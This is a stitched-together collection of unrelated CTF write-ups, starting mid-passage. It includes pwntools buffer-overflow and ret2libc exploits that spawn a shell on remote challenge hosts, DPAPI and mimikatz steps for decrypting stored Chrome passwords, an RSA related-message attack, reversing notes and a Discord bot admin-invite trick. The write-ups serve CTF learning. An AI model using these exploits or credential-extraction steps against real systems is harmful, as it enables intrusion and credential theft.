But in source code, we didn't know what value XORed with AESKey in XOR case, so we have to figure out in Rust binary. * First, tracing to `generic_array::transmute::h6493315ee53e554b()`, we'll get an AESKey.  * After that, tracing to `nuts_and_bolts::StorageMethod$LT$_$GT$::xor::he5067cd565d835a0()`, we'll get an enc_AES_key.  * Finally, XOR both AESKey and enc_AES_key, we'll get a xorkey. It must be 0xd value. - The final output key and output flag are the same format: `check_XOR_or_reverse + encrypted_key` and `check_XOR_or_reverse + encrypted_flag`, you can see these were stored in `memset()`. That's why we see the length of output_flag did not match with the orginal_flag.- When we got a keyxor, we can reverse this algo, here is my script solve . |
```pythonfrom pwn import *
elf = context.binary = ELF('./chall')p = remote('tjc.tf', 31680)
addr_shell = 0x40119ebuffer = b"A"*16rbp = b"B"*8
payload = buffer + rbp + p64(addr_shell)print(payload)p.sendline(payload)p.interactive()```
Simple ret2shell |
# CTF HackTheBox 2021 Cyber Apocalypse 2021 - Space Pirate: Entrypoint
Category: Pwn, Points: 300
Attached file [pwn_sp_entrypoint.zip](./pwn_sp_entrypoint.zip)
# Space Pirate: Entrypoint Solution
Let's check the binary using ```checksec```:```┌─[evyatar@parrot]─[/ctf_htb/cyber_apocalypse/pwn/Space_Pirate_Entrypoint]└──╼ $ checksec sp_entrypoint Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
```
[Full RELRO](https://ctf101.org/binary-exploitation/relocation-read-only/) (removes the ability to perform a "GOT overwrite" attack), No canary, and no PIE.
By running the binary we get:```console┌─[evyatar@parrot]─[/ctf_htb/cyber_apocalypse/pwn/Space_Pirate_Entrypoint]└──╼ $ ./sp_entrypoint
Authentication System
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░▒▓▓▓░░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓▒░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▒░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒░░░▓▓░░░▓▓▒░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒░░░▒▓▓░░░▓▓▒ ░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░░░░░▓▓░░░▓▓▓ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▓▓▓▒░░░░▓▓▒ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░▒░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓░▒▓▓▓░░░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒░▓▓▓░░░░ ▓▓ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
1. Scan card ?2. Insert password ↪️> 2[*] Insert password: 1234
[+] Door opened, you can proceed with the passphrase: HTB{f4k3_fl4g_4_t35t1ng}```
By decompiling the binary using [Ghidra](https://github.com/NationalSecurityAgency/ghidra) we can see the following ```main``` function:```cundefined8 main(void){ long lVar1; long in_FS_OFFSET; long local_48; long *local_40; char local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setup(); banner(); local_48 = 0xdeadbeef; local_40 = &local_48; printf(&DAT_001025e0); lVar1 = read_num(); if (lVar1 != 1) { if (lVar1 == 2) { check_pass(); } printf(&DAT_00102668,&DAT_0010259a); /* WARNING: Subroutine does not return */ exit(0x1b39); } printf("\n[!] Scanning card.. Something is wrong!\n\nInsert card\'s serial number: "); read(0,local_38,0x1f); printf("\nYour card is: "); printf(local_38); if (local_48 == 0xdead1337) { open_door(); } else { printf(&DAT_001026a0,&DAT_0010259a); } if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail();}```
Let's focous on option 2, As we can see it's called to ```check_pass()``` function where ```check_pass()``` code is:```cvoid check_pass(void){ int iVar1; long in_FS_OFFSET; undefined8 local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_28 = 0; local_20 = 0; printf("[*] Insert password: "); read(0,&local_28,0xf); iVar1 = strncmp("0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455",(char *)&local_28,0xf); if (iVar1 == 0) { printf(&DAT_001025a8,&DAT_0010259a); /* WARNING: Subroutine does not return */ exit(0x1b39); } open_door(); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}```
As we can see, If ```local_28``` is ```0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455``` then ```open_door()``` function is called.
The problem is the ```read()``` function reads ```0xf``` charcacters and ```strncmp``` compare also ```0xf``` charcacters.
We can bypass it by convert ```0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455``` string to hex using [CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)&input=MG5seVRoMzByMWcxbjRsQ3Izd00zbWIzcjVDNG5QNDU1):```c306e6c7954683330723167316e346c437233774d336d6233723543346e50343535```
Now we can send the hex string as the input to solve it.
Let's use the following ```python``` [./solve.py](./solve.py):```pythonfrom pwn import *
elf = ELF('./sp_entrypoint')libc = elf.libc
if args.REMOTE: p = remote('46.101.27.51', 30797)else: p = process(elf.path)
p.recvuntil('>')p.sendline("2")print(p.recvuntil(':'))p.sendline("306e6c7954683330723167316e346c437233774d336d6233723543346e50343535")p.interactive()```
Run it:```console┌─[evyatar@parrot]─[/ctf_htb/cyber_apocalypse/pwn/Space_Pirate_Entrypoint]└──╼ $ python3 solve.py REMOTE[*] '/ctf_htb/cyber_apocalypse/pwn/Space_Pirate_Entrypoint/sp_entrypoint' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./glibc/'[*] '/ctf_htb/cyber_apocalypse/pwn/Space_Pirate_Entrypoint/glibc/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to 46.101.27.51 on port 30797: Doneb' [*] Insert password:'[*] Switching to interactive mode [+] Door opened, you can proceed with the passphrase: HTB{th3_g4t35_4r3_0p3n!}[-] Invalid option! Intruder detected! ? ?[*] Got EOF while reading in interactive```
And we get the flag ```HTB{th3_g4t35_4r3_0p3n!}```. |
Inside `AppData\Local\Google\Chrome\User Data\Default\Login Data` (can be opened with SQLite) we have credentials for user `[email protected]`. The password is unreadable as it's still encrypted using DPAPI of the original computer.
Inside `AppData\Roaming\Microsoft\Protect\` we have the DPAPI certificate. It's password protected with the password of the original computer/windows account.Using DPAPImk2john.py bundled with John The Ripper, we extract the hash to crack it with John:```python DPAPImk2john.py -S S-1-5-21-3702016591-3723034727-1691771208-1002 -mk ~/S-1-5-21-3702016591-3723034727-1691771208-1002/865be7a6-863c-4d73-ac9f-233f8734089d -c local > hash.txt./john --wordlist=rockyou.txt hash.txt```John reports that the password is `ransom`
Using mimikatz we extract the master key of the DPAPI certificate```dpapi::masterkey /in:"H:\Repos\ctf\HTB Cyber Apocalpyse 2022\Forensics\forensics_seized\AppData\Roaming\Microsoft\Protect\S-1-5-21-3702016591-3723034727-1691771208-1002\865be7a6-863c-4d73-ac9f-233f8734089d" /sid:S-1-5-21-3702016591-3723034727-1691771208-1002 /password:ransom /protected```=> 138f089556f32b87e53c5337c47f5f34746162db7fe9ef47f13a92c74897bf67e890bcf9c6a1d1f4cc5454f13fcecc1f9f910afb8e2441d8d3dbc3997794c630
Using mimikatz we decrypt chrome's stored credentials```dpapi::chrome /in:"H:\Repos\ctf\HTB Cyber Apocalpyse 2022\Forensics\forensics_seized\AppData\Local\Google\Chrome\User Data\Default\Login Data" /masterkey:138f089556f32b87e53c5337c47f5f34746162db7fe9ef47f13a92c74897bf67e890bcf9c6a1d1f4cc5454f13fcecc1f9f910afb8e2441d8d3dbc3997794c630```
URL : [https://windowsliveupdater.com/](https://windowsliveupdater.com/)
Username: [email protected] * using BCrypt with AES-256-GCMPassword: HTB{Br0ws3rsC4nts4v3y0un0w}
Src: [https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords)
Author: [https://lesley.co](https://lesley.co) |
`phash` function reversed and analyzed using z3 key2 reversible on random key1 on roughly 1 in 500 bruteforcing partial function i.e. on key1 to solve on key2 using z3 model
writeup is an attempt to explain some z3 concepts :)
[writeup link](https://deut-erium.github.io/WriteUps/2022/cyber_apocalypse/crypto/memory_acceleration/2022-05-21-HTB-Cyber-Apcalypse-2022-Memory-Acceleration) [github link](https://github.com/deut-erium/WriteUps/blob/master/_posts/2022/cyber_apocalypse/crypto/memory_acceleration/2022-05-21-HTB-Cyber-Apcalypse-2022-Memory-Acceleration.md) |
## block-game
> Points: 391>> Solves: 22
### Description:> I made a game with some blocks! I worked out how to save but I can't load my worlds back. It's ok, it wasn't that important anyway...
### Attachments:> chall.jar> > data.dat
## Analysis:
オプションなしで`java`を実行すると、下記の`java.lang.OutOfMemoryError`になるため、`-Xmx2000m`のオプションを追加して`java -Xmx2000m -jar chall.jar`で実行しました。
```mito@ubuntu:~/CTF/TJCTF_2022/Reverse_block-game$ java -jar chall.jar Exception in thread "main" java.lang.OutOfMemoryError: Java heap space at Game.<init>(Game.java:42) at Main.main(Main.java:5)mito@ubuntu:~/CTF/TJCTF_2022/Reverse_block-game$ java -Xmx2000m -jar chall.jar FPS: 2FPS: 1FPS: 43FPS: 48FPS: 42FPS: 45FPS: 26FPS: 17FPS: 38```
`java`ファイルは下記サイトでデコンパイルしました。
[www.decompiler.com](http://www.decompiler.com)
デコンパイル結果の`Player.java`より、下記のキーが有効であることがわかりました。- ESC: 終了- P: データセーブ- W: 上に移動- S: 下に移動- A: 左に移動- D: 右に移動
```java public void keyPressed(KeyEvent var1) { this.keys.put(var1.getKeyCode(), true); if (var1.getKeyCode() == 27) { System.exit(0); } else if (var1.getKeyCode() == 80) { this.game.saveData(); }
}
public void keyReleased(KeyEvent var1) { this.keys.put(var1.getKeyCode(), false); }
public void tick() { if ((Boolean)this.keys.getOrDefault(87, false)) { this.y -= 0.1D; }
if ((Boolean)this.keys.getOrDefault(83, false)) { this.y += 0.1D; }
if ((Boolean)this.keys.getOrDefault(65, false)) { this.x -= 0.1D; }
if ((Boolean)this.keys.getOrDefault(68, false)) { this.x += 0.1D; }
this.x = Math.max(0.5D, Math.min(this.x, (double)this.game.getMapWidth() - 0.5D)); this.y = Math.max(0.5D, Math.min(this.y, (double)this.game.getMapHeight() - 0.5D)); Tile var1 = this.game.getTileAt((int)this.x, (int)this.y, this.z); if (var1.getType() == Tile.TileType.STAIRS_DOWN) { if (!this.onStairs && this.z > 0) { --this.z; }
this.onStairs = true; } else if (var1.getType() == Tile.TileType.STAIRS_UP) { if (!this.onStairs && this.z < 7) { ++this.z; }
this.onStairs = true; } else { this.onStairs = false; }
}```
## Solution:
マウスボタンをクリックするとブロックの色を変更することができます。この機能を使ってフラグを書いたと思いますが、どのように`data.dat`が変化するか下記の`java`コードでは不明なので、マウスボタンをクリックする前と後で`data.dat`を比較して確認しました。
```java public void mouseClicked(MouseEvent var1) { }
public void mousePressed(MouseEvent var1) { int var2 = (int)(((double)var1.getX() + this.getX() * 20.0D - (double)(this.game.getWidth() / 2)) / 20.0D); int var3 = (int)(((double)var1.getY() + this.getY() * 20.0D - (double)(this.game.getHeight() / 2)) / 20.0D); if (var1.getButton() == 3) { this.build(var2, var3); } else if (var1.getButton() == 1) { this.destroy(var2, var3); }
}```
下記は`data.dat`のマウスクリック前後を比較するためのコードです。
```pythonf1 = open("data_click_before.dat", "rb")f2 = open("data_click_after.dat", "rb")
f1.read(17)f2.read(17)
for y in range(2000): for x in range(3000): b1 = f1.read(4) b2 = f2.read(4) if b1[0] != b2[0]: print(y, x, "(", hex(b1[0]), hex(b2[0]), ") (", hex(b1[1]), hex(b2[1]), ") (", hex(b1[2]), hex(b2[2]), ") (", hex(b1[3]), hex(b2[3]), ")")```
`data.dat`は最初の`17`バイトがヘッダ情報で、それ以降は`4`バイトで１つのブロックに対応しています。
比較結果は下記になり、最初の`1`バイトのみ`0x0`から`0xf`などの変化がありました。このことから与えられた`data.dat`の`1`バイト目の`2`から`4`ビット目が`1`になっているものを探せばフラグを再現できると思いました。
```mito@ubuntu:~/CTF/TJCTF_2022/Reverse_block-game$ python3 diff.py996 1498 ( 0x0 0xf ) ( 0x0 0x0 ) ( 0x3 0x3 ) ( 0x40 0x40 )996 1499 ( 0x0 0xf ) ( 0x0 0x0 ) ( 0x3 0x3 ) ( 0x20 0x20 )996 1500 ( 0x10 0x1f ) ( 0x0 0x0 ) ( 0x30 0x30 ) ( 0x43 0x43 )996 1501 ( 0x10 0x1f ) ( 0x0 0x0 ) ( 0x33 0x33 ) ( 0x40 0x40 )996 1502 ( 0x10 0x1f ) ( 0x1 0x1 ) ( 0x30 0x30 ) ( 0xb3 0xb3 )997 1497 ( 0x1 0xf ) ( 0x0 0x0 ) ( 0x30 0x30 ) ( 0x40 0x40 )997 1498 ( 0x0 0xf ) ( 0x10 0x10 ) ( 0x33 0x33 ) ( 0x40 0x40 )997 1499 ( 0x0 0xf ) ( 0x0 0x0 ) ( 0x33 0x33 ) ( 0x43 0x43 )997 1500 ( 0x0 0xf ) ( 0x0 0x0 ) ( 0x30 0x30 ) ( 0x43 0x43 )997 1501 ( 0x1 0xf ) ( 0x0 0x0 ) ( 0x30 0x30 ) ( 0x43 0x43 )997 1502 ( 0x0 0xf ) ( 0x1 0x1 ) ( 0x33 0x33 ) ( 0x43 0x43 )...```
しかしながら`2`から`4`ビット目が`1`ではヒットしなかったので、`2`ビット目のみを`1`で判定したところフラグを表示できました。
```pythonfrom PIL import Imageim = Image.new('RGB', (3000,2000))f = open("data.dat", "rb")f.read(17)
for y in range(2000): for x in range(3000): b = f.read(4) if (ord(b[0])>>1)&1 == 0x1: r1 = g1 = b1 = 0 else: r1 = g1 = b1 = 255 im.putpixel((x,y), (r1,g1,b1))
im.save('flag.png')```
## Results:下記は作成した`flag.png`の中央部分を拡大した結果です。
 |
**TL;DR** The sheet is a shellcode runner that calls Win32 APIs from the formulas. We can copy out the shellcode array and use the formulas to recreate the shellcode recovery in Python, and then send that to a .bin file for further analysis, where we find the flag. |
# Source:```from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime, inverseimport random
FLAG = b'HTB{--REDACTED--}'p = getPrime(1024)q = getPrime(1024)n = p * qe = 257
def encrypt_flag(): a = random.getrandbits(1024) b = random.getrandbits(1024)
flag = bytes_to_long(FLAG)
msg = a*flag + b
ct = pow(msg, e, n) return {'ct': format(ct, 'x'), 'n': format(n, 'x'), 'e': format(e, 'x'), 'a': format(a, 'x'), 'b': format(b, 'x')}```
# Solve:
We get given an encryption endpoint that returns encrypted flags of the form $a\times flag +b$ . This looks very vunerable to the Franklin-Reiter related message attack, an attack on rsa where we have two messages of the form: $$m_2 = f(m_1)$$ $$f(x)=ax+b$$ Given we know the values of the two coefficients $a$ and $b$, we now just have to write an implementation of the related message attack. We chose to write ours in sage as it had most of the functionality that we needed out of the box, lacking only a composite modulus GCD function, so we added that in, and solved.
### Solve Script:```from sage.all import *from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime, inversen = 27455407323096989038707767967686788128008040912285545191387752268045317651747009835336335934721647728929368413771708021590017001701685605010158159340248147881838091203465902621173423102828450192332868018317626964451022022797426915076514125033325893379676566905882622894645763669679437179606451958893184575351580869947763575019642582589131333599965675465728981486404917292660472287659943714967905478878972693846981984913573405737593977612095060716048945868600660962884058371915932122224080461928865642901912874293789696054876984849520438875571755985635947551171628800328937534487687113359830492533808905556525003285723e = 257c1 = 13039835730636339059279958629414823958600374640153694710603769941841518717581360908757773582298464997543074450567895944502732083868197684496322773743479443155491660211824842330124728330817239124246559627986248222933867912873621199849101953018562009389886860550048918723791430586350508953135377334349772919786563924615561623187867575173451970331797021441502419837435021782053678509297405767346740736858302277939287915674474740685224802423994133044840443776449605979021778641728531855113113529139203952004517841123829567331278176593468732780726572662067124530362015808758018569001370555297733983204615105861791351356731a1 = 73323678190387475566655162681387285442675714073813354329706337231179508215603433977744256603023254369717277375737324792403467068433618758479771850252465621296064960246850519217638256731790467702937921688376261486958909520559768188700040467463128950645760425706624061234056439016504795859156284251967734529951b1 = 142949604479152405191048291376099557919804066455335447005610027694379178456845348463740002155265925494645432447046929781523190202401807171869608565742847957149162207794858599211086795519482954081833968987901619262611254182810036394725846352635957893826237592257956289562496629026088501148243608852262643046056c2 = 16284330675633348199222170379465883288561319494598330947983412207685634623843464942181310571306831518612390141673621578732060935977299457401229101993678518863415779223778262194300919071904675770789729384044332448259035292396190449696083322628041972412377614598831305840347941366744787999018143821487587053333368002207209042628857937907164388531570176431651158053692913697858298257329016481126695284381207733656727759391420312284966834283188928609911930656568734666487016403546747841821964014888760826282374198549421390690267777329510243586936408302681732989153021997287157804477355788317532636996505965169243880478983a2 = 111893252295533622460529880561016753553721891960638416129928977326805030144732594122713679236926670288372779486403117262482249990036203251128598076637159136329972492793910646059117856465947889764220882138906278997387299821180021965404639491156097504602716790789227147098147104444258018294862237772781568546079b2 = 164425395105389083814080728419218571462360295781439032477268517576679703055124348503558821511959033494657567259358335198199919194958639894580766293840656642675917406273972816175684673389980747286587581804206851486678589023687537904525870220430204594586471316653906517700363472653187050885828329745846816757381
def compositeModulusGCD(a, b): if(b == 0): return a.monic() else: return compositeModulusGCD(b, a % b)
def FranklinReiter(n, e, c1, c2, a1, a2, b1, b2): P.<x> = PolynomialRing(Zmod(n)) f = (a1*x+b1)^e - c1 g = (a2*x+b2)^e - c2 m = Integer(n-(compositeModulusGCD(f,g)).coefficients()[0]) return m print(long_to_bytes(FranklinReiter(n, e, c1, c2, a1, a2, b1, b2)))```
#### Flag: `HTB{f1n1t3_d1ff3r3nc35_134d_70_r31473d_m355493_4774ck5}` |
Follow the order of the names given in output.txt to know which corresponding letter to pick for forming the final flag. Read more:[ https://www.x3la.xyz/blog/omega-one](https://www.x3la.xyz/blog/omega-one) |
The password is encrypted and stored in an array. The encryption key is secretly assigned as aliens in the binary. Write a script to decrypt the password using the key. Read more: [https://www.x3la.xyz/blog/rebuilding](https://www.x3la.xyz/blog/rebuilding) |
One of the functions in the script decides what character to use for representing food on the grid. This function also happens to occasionally print characters of the flag. Exploit this function to retrieve the entire flag. Read more: [https://www.x3la.xyz/blog/snakecode](https://www.x3la.xyz/blog/snakecode/) |
The binary reads the flag as a command line argument. An array of function pointers is used to invoke 43 different functions where each function checks a specific character in the flag. Read more: [https://www.x3la.xyz/blog/teleport](https://www.x3la.xyz/blog/teleport/) |
## Not a Baby ROP
[not-a-baby-rop](https://github.com/tj-oconnor/ctf-writeups/blob/main/hackarmour/not-a-baby/not-a-baby-rop)
## Solution
The binary is compiled with NX and Partial RELRO
```pwn checksec ./not-a-baby-rop [*] 'hackarmour/not-a-baby/not-a-baby-rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
and is dynamically linked to GLIBC.
```ldd ./not-a-baby-rop linux-vdso.so.1 (0x00007ffeba57a000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007efe521fb000) /lib64/ld-linux-x86-64.so.2 (0x00007efe523ec000)```
The binary suffers from an overflow.
```00401142 int64_t warm_up()
00401142 55 push rbp {__saved_rbp}00401143 4889e5 mov rbp, rsp {__saved_rbp}00401146 4883c480 add rsp, 0xffffffffffffff800040114a 488d4580 lea rax, [rbp-0x80 {var_88}]0040114e 4889c6 mov rsi, rax {var_88}00401151 488d3dac0e0000 lea rdi, [rel data_402004]00401158 b800000000 mov eax, 0x00040115d e8eefeffff call __isoc99_scanf00401162 90 nop 00401163 c9 leave {__saved_rbp}00401164 c3 retn {__return_addr}```
The binary is fairly minimal, so we'll leak the base address of libc and return to main().
```def leak_libc(): chain = pop_rdi chain += puts_got chain += puts_plt chain += main
p.recvuntil(b'let\'s see what u got') p.recvline() p.sendline(pad+chain) leak=u64(p.recv(6)+b'\x00\x00') log.info("Libc Leak (puts): %s" %hex(leak)) libc.address=leak-libc.sym['puts'] log.info("Libc Address: %s" %hex(libc.address))```
Using [https://libc.rip](https://libc.rip), we determined the libc was [libc6_2.28-10+deb10u1_amd64.so](https://github.com/tj-oconnor/ctf-writeups/blob/main/hackarmour/not-a-baby/libc6_2.28-10%2Bdeb10u1_amd64.so)
Instead of satisfying the one_gadget constraints, we just moved ``'/bin/sh'`` into ``RDI`` and called ``system`` from ``libc``
```def call_system(): chain = pop_rdi chain += p64(next(libc.search(b'/bin/sh\0'))) chain += p64(libc.sym['system']) chain += main p.recvuntil(b'let\'s see what u got') p.recvline() p.sendline(pad+chain)```
The final exploit follows.
```from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''continue'''
if args.REMOTE: libc = ELF('libc6_2.28-10+deb10u1_amd64.so',checksec=False)else: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('warzone.hackrocks.com',7770) else: return process(e.path)
p = start()
pad = cyclic(136)pop_rdi = p64(r.find_gadget(['pop rdi','ret'])[0])puts_got = p64(e.got['puts'])puts_plt = p64(e.plt['puts'])main = p64(e.sym['main'])
def leak_libc(): chain = pop_rdi chain += puts_got chain += puts_plt chain += main
p.recvuntil(b'let\'s see what u got') p.recvline() p.sendline(pad+chain) leak=u64(p.recv(6)+b'\x00\x00') log.info("Libc Leak (puts): %s" %hex(leak)) libc.address=leak-libc.sym['puts'] log.info("Libc Address: %s" %hex(libc.address))
def call_system(): chain = pop_rdi chain += p64(next(libc.search(b'/bin/sh\0'))) chain += p64(libc.sym['system']) chain += main p.recvuntil(b'let\'s see what u got') p.recvline() p.sendline(pad+chain)
leak_libc()call_system()p.interactive()``` |
Fun fact - this was a real vulnerability in ez.ctf.cafe that let me view the challenges and submit flags through the bot before the challenge had started.
To do this, you need to enable developer mode in your user settings to get Cafe Bot's ID. Then, right click its profile for the ID `971520199515836456`.
Now, we take a random bot's invite link from top.gg, like Mudae's: https://discord.com/oauth2/authorize?client_id=432610292342587392&permissions=537159744&scope=applications.commands%20bot, and change the ID to @Cafe Bot's ID.
I'll also change `applications.commands%20bot` to `bot`, meaning we're no longer requesting slash command permissions, but still adding it as a bot, and changing `permissions= . . . ` to `permissions=8` to give the bot full administrator permissions.
Now we have our invite: https://discord.com/oauth2/authorize?client_id=971520199515836456&permissions=8&scope=bot
Now, add this bot to any server where you have administrator permissions, and run `?flag` in that server. It should give you the flag!
I didn't use it at the time, but another member of the EZ-CTF Discord server suggested using https://discordapi.com/permissions.html to create the invite, and I'd agree that it's much more efficient.
If you're making a bot and want to prevent this, disable the "Public Bot" option in your app's config on https://discord.com/developers. This will make sure that only you can add the bot to a server. |
# SDCTF 2022 OSINT Team: **WolvSec**
